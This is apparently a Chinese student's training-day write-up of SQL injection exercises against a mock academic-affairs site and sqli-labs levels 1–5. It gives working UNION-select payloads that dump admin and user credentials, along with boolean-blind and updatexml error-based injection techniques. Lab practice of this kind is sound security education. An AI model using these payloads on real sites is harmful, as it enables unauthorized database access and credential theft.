sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)

一、模拟注入教务系统

  1. 用火狐访问教师搭建好的教务系统靶场
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

  2. SQLi漏洞利用
    1. 判断是否为动态网站,动态网站即可根据不同情况动态变更的网站,例如上图中点击查看详情,每个查看详情链接返回的结果都不同,说明是根据某种标识在后端数据库进行查询后返回给前端的,该网站是动态网站。
    2. 猜测后台查询语句
      1. 通过火狐的开发者工具查看到,点击查看详情后,发起了一条get请求,且根据newsId进行查询。由此猜测sql语句:select * from xxx where newsId = xxx
        sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
        文章图片

      2. 判断后台查询语句中接受的传入的 参数的类型(经验证为数字型),因为可进行数值计算
        sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
        文章图片

      3. 利用order by判断当前查询结果的列数,可得知为5列
        sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
        文章图片

        sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
        文章图片

      4. 判断前端渲染的显示位,以便我们把想要得到的信息在前端显示,可得知显示位为前三列,注意此处union前的select语句返回结果应为空
        sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
        文章图片

      5. 使用union查询想要的信息
        1. 查询库名
          sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
          文章图片

        2. 查询表名
          ?newsId=-1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=‘double_fish’
          sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
          文章图片

        3. 查询列名
          ?newsId=-1 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema=‘double_fish’ and table_name=‘t_admin’
          sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
          文章图片

        4. 查询管理员账号密码
          ?newsId=-1 union select 1,username,password,4,5 from t_admin
          sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
          文章图片

二、sqli-labs:less1-5
  1. less-1
    1. 首先根据提示输入id作为参数
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      【sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)】sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

    2. 判断参数类型:数字型/字符型,经检验为字符型
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      因为输入id=2-1返回的不是id=1的结果,而是id=2的结果,说明在字符型转数字型的时候,将id=2-1进行了强制类型转换,所以只剩下了2,查询结果即显示id=2的数据
    3. 判断闭合符,输入id=1’进行测试,发现报错,注意蓝框内为实际查询语句中的内容,而将1’和前一个闭合符分离开,发现多一个’,这就说明闭合符为’。
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

    4. 利用order by判断查询结果列数,可得到为3列,注意浏览器在访问时将url地址进行了url编码,所以order by后面的#必须写为%23(#为注释符,可把后面的sql语句隔断)
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

    5. 判断显示位,可知显示位为第2,3列
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

    6. 查询库名,表名,列名,数据,至此,获取用户数据目标达成
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      ?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’%23
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      ?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’%23
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      ?id=-1’ union select 1,group_concat(username),group_concat(password) from users%23
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

  2. less-2
    此处发现为数字型参数,故过程不再赘述,只获取数据库名作为示例
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

  3. less-3
    1. 判断参数类型,发现为字符型
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

    2. 判断闭合符,发现此处闭合符为’)
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

    3. 获取列数和显示位
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

    4. 获取数据库名称,后续步骤与less-1和less-2类似,不再赘述
      sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
      文章图片

  4. less-4
    本关也考察闭合符的判断,故过程不再赘述,只放关键截图,闭合符判断为")
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

  5. less-5
    方法1-布尔盲注:
    判断参数类型不再赘述,经检验为字符型且闭合符为’
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    利用where子句查询进行布尔盲注,可以看到,当and连接的两个条件中有一个为假即结果为空
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    首先利用length函数和二分法逼近库名的位数,可得知为8位
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    然后利用substr和ascii函数和二分法逼近每一位的字母
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    得到第一位为ascii码值为115的字母,查表可得为s,其余位字母依次爆破为e c u r i t y
    方法2-报错注入:
    利用1=(updatexml(1,concat(0x3a,(SUB_QRY)),1))
    获得库名
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    获得表名
    ?id=1’ and 1=(updatexml(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)),1))%23
    sql|实训第二天记录-sql注入实战(教务系统模拟注入+sqli-labs less1-5)
    文章图片

    推荐阅读